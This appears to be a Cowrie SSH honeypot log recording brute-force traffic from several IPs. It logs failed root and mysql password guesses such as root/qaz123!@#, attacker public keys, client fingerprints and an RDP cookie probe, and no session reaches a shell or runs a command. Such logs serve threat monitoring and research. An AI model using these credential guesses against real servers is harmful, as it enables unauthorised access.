{"eventid":"cowrie.login.failed","username":"root","password":"ctrhtn","message":"login attempt [root/ctrhtn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:50:58.686056Z","src_ip":"103.77.242.62","session":"2b4b421f3c92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123654789","message":"login attempt [root/123654789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:50:58.877799Z","src_ip":"171.244.37.97","session":"6d986e91e69b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:50:59.921788Z","src_ip":"103.77.242.62","session":"2b4b421f3c92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:51:00.126768Z","src_ip":"171.244.37.97","session":"6d986e91e69b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":33772,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a634dc7c7b4","protocol":"ssh","message":"New connection: 193.32.162.151:33772 (159.203.135.109:22) [session: 3a634dc7c7b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:51:01.076647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:51:01.082271Z","src_ip":"193.32.162.151","session":"3a634dc7c7b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:51:01.192899Z","src_ip":"193.32.162.151","session":"3a634dc7c7b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"root","message":"login attempt [mysql/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:51:01.521904Z","src_ip":"193.32.162.151","session":"3a634dc7c7b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:51:02.630958Z","src_ip":"193.32.162.151","session":"3a634dc7c7b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.164.198","src_port":40230,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d985f1b0c14","protocol":"ssh","message":"New connection: 43.135.164.198:40230 (159.203.135.109:22) [session: 6d985f1b0c14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:51:08.715144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:51:08.720347Z","src_ip":"43.135.164.198","session":"6d985f1b0c14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:51:08.789080Z","src_ip":"43.135.164.198","session":"6d985f1b0c14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qaz123!@#","message":"login attempt [root/qaz123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:51:09.097638Z","src_ip":"43.135.164.198","session":"6d985f1b0c14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:51:10.169268Z","src_ip":"43.135.164.198","session":"6d985f1b0c14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":62906,"dst_ip":"159.203.135.109","dst_port":22,"session":"fea5c8d94789","protocol":"ssh","message":"New connection: 167.172.81.52:62906 (159.203.135.109:22) [session: fea5c8d94789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:51:42.229372Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:51:42.234491Z","src_ip":"167.172.81.52","session":"fea5c8d94789","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:51:42.239534Z","src_ip":"167.172.81.52","session":"fea5c8d94789","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.168.126","src_port":38316,"dst_ip":"159.203.135.109","dst_port":22,"session":"1144361ced70","protocol":"ssh","message":"New connection: 43.135.168.126:38316 (159.203.135.109:22) [session: 1144361ced70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:51:49.323412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:51:49.328904Z","src_ip":"43.135.168.126","session":"1144361ced70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:51:49.398335Z","src_ip":"43.135.168.126","session":"1144361ced70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zenoss","message":"login attempt [root/zenoss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:51:49.707763Z","src_ip":"43.135.168.126","session":"1144361ced70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.121.69.138","src_port":6808,"dst_ip":"10.17.0.5","dst_port":22,"session":"7bf492a4da1f","protocol":"ssh","message":"New connection: 87.121.69.138:6808 (10.17.0.5:22) [session: 7bf492a4da1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:51:50.153367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:51:50.158342Z","src_ip":"87.121.69.138","session":"7bf492a4da1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:51:50.242629Z","src_ip":"87.121.69.138","session":"7bf492a4da1f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:34:4e:8c:76:b4:d6:a7:01:f7:fb:8f:30:b6:a2:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDtSX+gz17C2FNRHNPIdtLsk5XfSjHpkUE4jrOwT6cjkqcQ/u6mnLTfT7Dc1F2G1J1k5Kq4+T6xsh+xzZ8VSoy3hdoVJKRNwo8xL1V6d60P9z6Fh4BBIh2peYgujYOlpf8x3ZbjI9BCTRQbDseQfRznjPkQSE8vdvziQCKjdw+vW4VsW+oAiUY8UoSu/+Hf9+12Ur/5RSTQxIxBhcfHuuSjVzI8uaLC2ZMURb0p4yiB3xNmmKthGx5/zoa6Bm5pHzP9Ruqdx42CTKJY9YSZpafV/MMflsYrbJKYyptpxwVCky0ipFZceBLnzaoIhxMvMxH5dXRy3FkDJLa7KPKvpbkx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint aa:34:4e:8c:76:b4:d6:a7:01:f7:fb:8f:30:b6:a2:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:51:50.633366Z","src_ip":"87.121.69.138","session":"7bf492a4da1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:34:4e:8c:76:b4:d6:a7:01:f7:fb:8f:30:b6:a2:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDtSX+gz17C2FNRHNPIdtLsk5XfSjHpkUE4jrOwT6cjkqcQ/u6mnLTfT7Dc1F2G1J1k5Kq4+T6xsh+xzZ8VSoy3hdoVJKRNwo8xL1V6d60P9z6Fh4BBIh2peYgujYOlpf8x3ZbjI9BCTRQbDseQfRznjPkQSE8vdvziQCKjdw+vW4VsW+oAiUY8UoSu/+Hf9+12Ur/5RSTQxIxBhcfHuuSjVzI8uaLC2ZMURb0p4yiB3xNmmKthGx5/zoa6Bm5pHzP9Ruqdx42CTKJY9YSZpafV/MMflsYrbJKYyptpxwVCky0ipFZceBLnzaoIhxMvMxH5dXRy3FkDJLa7KPKvpbkx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:51:50.637190Z","src_ip":"87.121.69.138","session":"7bf492a4da1f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"73:fe:9d:5c:70:d1:b7:d7:d6:31:fa:5d:c8:2d:82:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDeUHXfLSH2179G/1TK7xR3GJAubdDYwI1Jyw6LyHgMqipaCdfGvPH4S4YSqkE8SnBYQabMWvEESERIJzT4xT5C//EH2romP1qBeP1RFmRYzzNUSY61Bwn1MjsRsA2kjI8iqSUCGMg3vSMILbrGC+MpxgqLolDWIOs6Ohq3DPG994IQcKmjQXQp5UIJlTpnaADC6ETuGDRmjbu8stNF83bLOd2Pa7b1wC1yDeTifjsi90bGBZ3gt4nivlHGJZn5QrUaKZgqPKIM+GdAMOEw0rOp3fhbJjqcbG1pZE7pJTYls2Kuak21iTSSCsAdzB7rTRzVqFuEnUsM91M1zDgfhQU59MO4v1bfJOjbUgDPknnDTGS+hzMsvYf86+nA773mL07sl3H1HceIoQetDF41Lw9ZkIsQrfB45ZZ0qX3ubKh5/jB0aSLAkYvcuuIsOeaWN48BhkCMCJNKPZn1wefySyds3GQ+GWgmlxSn72/HW2eVm3ltOS72XFeFI2UTMCR7ul4aXgzHBV818tM4KMUUCdYVvo6P5Koh6WY3YzZYRau5UyswpslPcDK5wfKvbQ1ZABKl27+SKhcsJi0xAV/Pn6fEBBPOzgytN5EdLjiuYqEs2fed7eNfA+dCwSLj2AhGW9M1B9fJZoXFwqiLGZPSBwkwo6eREds28GEH3A77sVyMvw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 73:fe:9d:5c:70:d1:b7:d7:d6:31:fa:5d:c8:2d:82:2b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:51:50.723478Z","src_ip":"87.121.69.138","session":"7bf492a4da1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"73:fe:9d:5c:70:d1:b7:d7:d6:31:fa:5d:c8:2d:82:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDeUHXfLSH2179G/1TK7xR3GJAubdDYwI1Jyw6LyHgMqipaCdfGvPH4S4YSqkE8SnBYQabMWvEESERIJzT4xT5C//EH2romP1qBeP1RFmRYzzNUSY61Bwn1MjsRsA2kjI8iqSUCGMg3vSMILbrGC+MpxgqLolDWIOs6Ohq3DPG994IQcKmjQXQp5UIJlTpnaADC6ETuGDRmjbu8stNF83bLOd2Pa7b1wC1yDeTifjsi90bGBZ3gt4nivlHGJZn5QrUaKZgqPKIM+GdAMOEw0rOp3fhbJjqcbG1pZE7pJTYls2Kuak21iTSSCsAdzB7rTRzVqFuEnUsM91M1zDgfhQU59MO4v1bfJOjbUgDPknnDTGS+hzMsvYf86+nA773mL07sl3H1HceIoQetDF41Lw9ZkIsQrfB45ZZ0qX3ubKh5/jB0aSLAkYvcuuIsOeaWN48BhkCMCJNKPZn1wefySyds3GQ+GWgmlxSn72/HW2eVm3ltOS72XFeFI2UTMCR7ul4aXgzHBV818tM4KMUUCdYVvo6P5Koh6WY3YzZYRau5UyswpslPcDK5wfKvbQ1ZABKl27+SKhcsJi0xAV/Pn6fEBBPOzgytN5EdLjiuYqEs2fed7eNfA+dCwSLj2AhGW9M1B9fJZoXFwqiLGZPSBwkwo6eREds28GEH3A77sVyMvw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:51:50.727347Z","src_ip":"87.121.69.138","session":"7bf492a4da1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:51:50.779953Z","src_ip":"43.135.168.126","session":"1144361ced70","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7f:3a:81:6f:aa:3d:39:c4:42:82:84:c7:1a:b3:a3:20","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAID1oOGR41gCjc4P7A9b89U7e8V906Re9gEr9QD950S6Q","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 7f:3a:81:6f:aa:3d:39:c4:42:82:84:c7:1a:b3:a3:20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:51:50.810998Z","src_ip":"87.121.69.138","session":"7bf492a4da1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7f:3a:81:6f:aa:3d:39:c4:42:82:84:c7:1a:b3:a3:20","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAID1oOGR41gCjc4P7A9b89U7e8V906Re9gEr9QD950S6Q","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:51:50.814394Z","src_ip":"87.121.69.138","session":"7bf492a4da1f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"37:22:af:fe:95:4b:54:3f:95:e9:1f:e7:68:47:43:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCrJp+nEeYBHWI0YJjvIjcY5Ifr6FAZUscLpZHpHPEUdrjdrZX9zk+0J7wXVyjMX5u3wdDLmxjjbMF9PbvS/0C78lOdXALSUDtl6Y4YuMQDavG9QJoorBSHjF0q6HtBSyb4GQI3hkZ54AIHoV2Q/1mtXTOUpGOj+h5qEiLxlcHBSM8ocXRPGgiWmMWwmhlBZK6Ts+iPL4pzaf29H833Bkijin9uNlIJth7uI/exPvJCYacPBwwOoC8IkgW+xiTB+eGp0R3mo9qz9m1OuGNtbEt+K3kZRsty+348nfS/kJOtSAIlkU6iG4XPTDpQuE4Mm+AErxPBCYS3CjSzj8n1Tz2T7z2/bLF2xmQ1VZwyCSMdFnivZWtDlpIM1tCsJqFVONI2IQO7wsjbBjcMn8+rYb36TNVikX1ezvIFNXjWlcqoBrClp9mBzrFr+EFuR54NtRq6OqtE7+K+38uPD1B3Q6gQhymxM4DP+sWw8tmGS5CU2dG6WmeC6G7jj+84XbgMH2/2IXcSwivQbZrXmb0fR7gJMLY5VV4hJ5bYxlvT4iaUrckrvk8R5jWeTl1zqE6N9TIWz7OZ4fNO862RJvYs8eZsm94Qt0saB7xp5JVxX4l6T1Kht62pCpSkBP38chF1xeAaUzcEP8lu8c9+gO7cFnV+v49IxV8+Cg7y0q2Znpft4Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 37:22:af:fe:95:4b:54:3f:95:e9:1f:e7:68:47:43:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:51:50.897311Z","src_ip":"87.121.69.138","session":"7bf492a4da1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"37:22:af:fe:95:4b:54:3f:95:e9:1f:e7:68:47:43:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCrJp+nEeYBHWI0YJjvIjcY5Ifr6FAZUscLpZHpHPEUdrjdrZX9zk+0J7wXVyjMX5u3wdDLmxjjbMF9PbvS/0C78lOdXALSUDtl6Y4YuMQDavG9QJoorBSHjF0q6HtBSyb4GQI3hkZ54AIHoV2Q/1mtXTOUpGOj+h5qEiLxlcHBSM8ocXRPGgiWmMWwmhlBZK6Ts+iPL4pzaf29H833Bkijin9uNlIJth7uI/exPvJCYacPBwwOoC8IkgW+xiTB+eGp0R3mo9qz9m1OuGNtbEt+K3kZRsty+348nfS/kJOtSAIlkU6iG4XPTDpQuE4Mm+AErxPBCYS3CjSzj8n1Tz2T7z2/bLF2xmQ1VZwyCSMdFnivZWtDlpIM1tCsJqFVONI2IQO7wsjbBjcMn8+rYb36TNVikX1ezvIFNXjWlcqoBrClp9mBzrFr+EFuR54NtRq6OqtE7+K+38uPD1B3Q6gQhymxM4DP+sWw8tmGS5CU2dG6WmeC6G7jj+84XbgMH2/2IXcSwivQbZrXmb0fR7gJMLY5VV4hJ5bYxlvT4iaUrckrvk8R5jWeTl1zqE6N9TIWz7OZ4fNO862RJvYs8eZsm94Qt0saB7xp5JVxX4l6T1Kht62pCpSkBP38chF1xeAaUzcEP8lu8c9+gO7cFnV+v49IxV8+Cg7y0q2Znpft4Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:51:50.901830Z","src_ip":"87.121.69.138","session":"7bf492a4da1f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"88:b5:eb:8d:92:15:7e:2e:23:77:77:aa:1f:a8:7f:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDfBWdZ+gHMMpUFurK2hAv5MXCJZTimLGB26E9s6rk8UOCe45nGZUsBDlOD2MmdqP4jSs3XWcBAVlmlvTuIrdEWazNWueRFraGX7hCNYLZflXOM1fECm3TrA35u9leGBwdNNWdbFHSaNMqSN8suSyKvJlpvtbCPu4t1LDv0cYedFTSN6HW1KTB/c2OmlWktglhIczhh+km21qq/iyBP5ZSTncn17QVAPwuhaoBaBMRP47YT/6i9oeeeVAp+nubEEY9Voz8N2X/+wCo6wPJJv0HsQGkfzoUSIiJSvrXQw41kXadvEseLHlAUVlpoGSmoRGjhuqRgcTToFYyc+OdqeyrJ49qyRWGGUVRybj1Vl0LPQK3GCrPUH6eVd+GQWtcNuHWjvPWDaSkGG+sxtp4E76zzsxDJ8ENrRmiJwW6UA6wCypdlVqBVfcWFi6kCOJkd5froij4HOlTqrhGyko248jQaK2Y7wYJSeDbX0iQSmvU4JXZgsA6VTMFA9hE5NZNI3gJBGs0QQloAz751WkmEljdvRDA9cNP+Dud3KQg4QoOfsc8TlDvuhUvp6DBgvptleb0Igsac7hfR+7y5SMXm3/SnrLLsblSzyBD8U0D5L+wqdJI5q2MWPHQj1cIM8qK2jV5UTuKPivTsOfnFRLSIyY0xhgkdKnd06Mx6p2JxToTEcQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 88:b5:eb:8d:92:15:7e:2e:23:77:77:aa:1f:a8:7f:2e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:51:50.986215Z","src_ip":"87.121.69.138","session":"7bf492a4da1f","protocol":"ssh"}
